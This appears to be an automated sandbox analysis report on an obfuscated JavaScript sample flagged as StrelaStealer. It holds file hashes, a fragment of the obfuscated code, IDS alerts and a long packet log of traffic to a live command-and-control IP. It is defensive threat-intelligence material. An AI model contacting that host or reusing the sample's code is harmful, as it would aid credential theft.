C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (34855), with CRLF line terminators
Entropy (8bit):	4.879903088411837
TrID:
File name:	14957144702878221204.js
File size:	34'893 bytes
MD5:	041e5733e11b0793d9b8d18faf817b48
SHA1:	83fd6d8b2a671f0152c03a06bd72c613b3e41396
SHA256:	6b12285012ce9872a6bb9902007e4b800a2db2256474d74f2dd4ae8612f57eeb
SHA512:	b6cc14cff3691e301f4c33049f48b1cd9516e5f0a85ad046f6875bbb1a1bc6243acd699ae1495b705756a8c95d8041f3c6f36bbdf80f7826fc97bccf777f7e9d
SSDEEP:	384:7C8UooC9nC6CV/qm313/I313Ow313UCrIvT15P9E3fmu/JkV:JUImyihYhOIhUCeT15P9E3fmu/JkV
TLSH:	E6F2AC3FF31E8FA07DF01D80B9477C995CA984A5D64852D29C17681A2BA0A3C3CDD6F9
File Content Preview:	function trepxntew(){rpwensnrk=this;..rpwensnrk[fpyxj+gqiho+fftquriv+qwlivxi](svrvtbucq+zbmpbmlha+qdgfllhj+uijfv+gdipkq+jnzprg+zsawnkuv+monvow+trzljlcyq+nbjzg+lgzdzcja+trzljlcyq+fohjfg+lgzdzcja+nbjzg+rnmbnvhd+uaqbjdpnc+fohjfg+toxohcz+trzljlcyq+hmlwpe+rnmb

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-15T08:11:14.972263+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-15T08:11:14.972263+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-15T08:11:17.427445+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 08:11:14.185765982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:14.191301107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:14.195411921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:14.203491926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:14.209085941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:14.972031116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:14.972151041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:14.972198963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:14.972263098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:14.972280025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:14.972321987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:14.972353935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:14.972356081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:14.972393036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:14.972419977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:14.972429991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:14.972491026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:14.972493887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:14.972534895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:14.972589970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:14.977736950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.018955946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.019002914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.019042969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.019381046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.019381046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.092639923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.092711926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.092820883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.092854977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.092940092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.092994928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.092993021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.092993021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.093029976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.093060970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.093069077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.093105078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.093142986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.093144894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.093208075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.094054937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.094110012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.094147921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.094177008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.094233990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.094291925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.094300985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.094329119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.094391108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.095133066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.095169067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.095205069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.095237970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.095241070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.095309973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.105026007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.105077982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.105118036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.105140924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.146195889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.183485985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.183537006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.183626890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.183919907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.213104010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.213222980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.213262081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.213298082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.213334084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.213356972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.213356972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.213367939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.213404894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.213424921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.213440895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.213466883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.213479042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.213515997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.213540077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.213680983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.213711023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.213742971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.213856936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.213893890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.213916063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.213929892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.213994026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.214229107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.214284897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.214319944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.214349031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.214355946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.214392900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.214412928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.214932919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.214986086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.215006113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.215020895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.215054989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.215080023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.215091944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.215126991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.215147018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.215164900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.215221882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.215809107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.215863943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.215900898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.215928078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.215954065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.215989113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.216015100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.216026068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.216062069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.216083050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.216897011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.216947079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.216981888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.216986895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.217017889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.217052937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.217056036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.217088938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.217123985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.217128038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.217216015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.217782021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.217816114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.217853069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.217874050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.269977093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.270034075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.270159960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.303704977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.303756952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.303796053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.303801060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.303832054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.303865910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.303874016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.303934097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.333864927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.333992958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.334079027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.334115982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.334151983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.334187031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.334223986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.334259033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.334280968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.334281921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.334281921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.334295034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.334331036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.334353924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.334368944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.334404945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.334429979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.334486008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.334541082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.334577084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.334625006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.334625006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.334636927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.334677935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.334692955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.334712982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.334753990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.334784031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.334893942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.334928036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.334947109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.334947109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.334980965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.335015059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.335017920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.335052967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.335078955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.335089922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.335144043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.335150957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.335180044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.335218906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.335237980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.335253000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.335287094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.335309029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.336004972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.336055994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.336072922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.336096048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.336132050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.336153984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.336169004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.336203098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.336236954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.336239100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.336275101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.336301088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.336313009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.336348057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.336380005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.336388111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.336456060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.336726904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.336781979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.336817026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.336850882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.336852074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.336891890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.336910963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.336930037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.336982965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.336988926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.337017059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.337037086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.337054014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.337075949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.337090015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.337130070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.337142944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.337621927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.337657928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.337685108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.337737083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.337771893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.337794065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.337826967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.337861061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.337888002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.337898016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.337934017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.337964058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.337985992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.338020086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.338052988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.338061094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.338126898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.338511944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.338547945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.338584900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.338604927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.338685036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.338720083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.338738918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.338754892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.338789940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.338831902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.351588011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.356658936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.356710911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.356730938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.356754065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.356808901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.365719080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.390444040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.390491009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.390551090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.390607119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.390641928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.390675068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.390681028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.390675068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.390717030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.390748978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.390758038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.390794039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.390825987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.390861988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.390899897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.390921116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.390935898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.390995979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.420495987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.420595884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.420634031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.420661926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.420670986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.420711040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.420875072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.420964003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.424148083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.424190044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.424227953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.424231052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.424267054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.424290895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.424324989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.424361944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.424379110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.424398899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.424458981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.424460888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.424496889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.424530983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.424551964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.424571037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.424631119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.449059010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.454508066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.454588890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.454647064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.454653025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.454684973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.454720974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.454735994 CET	49730	80	192.168.2.4	193.143.1.205
